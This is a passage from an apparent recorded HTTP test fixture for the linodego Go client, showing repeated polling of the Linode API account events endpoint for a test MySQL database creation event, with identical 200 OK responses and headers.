1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE 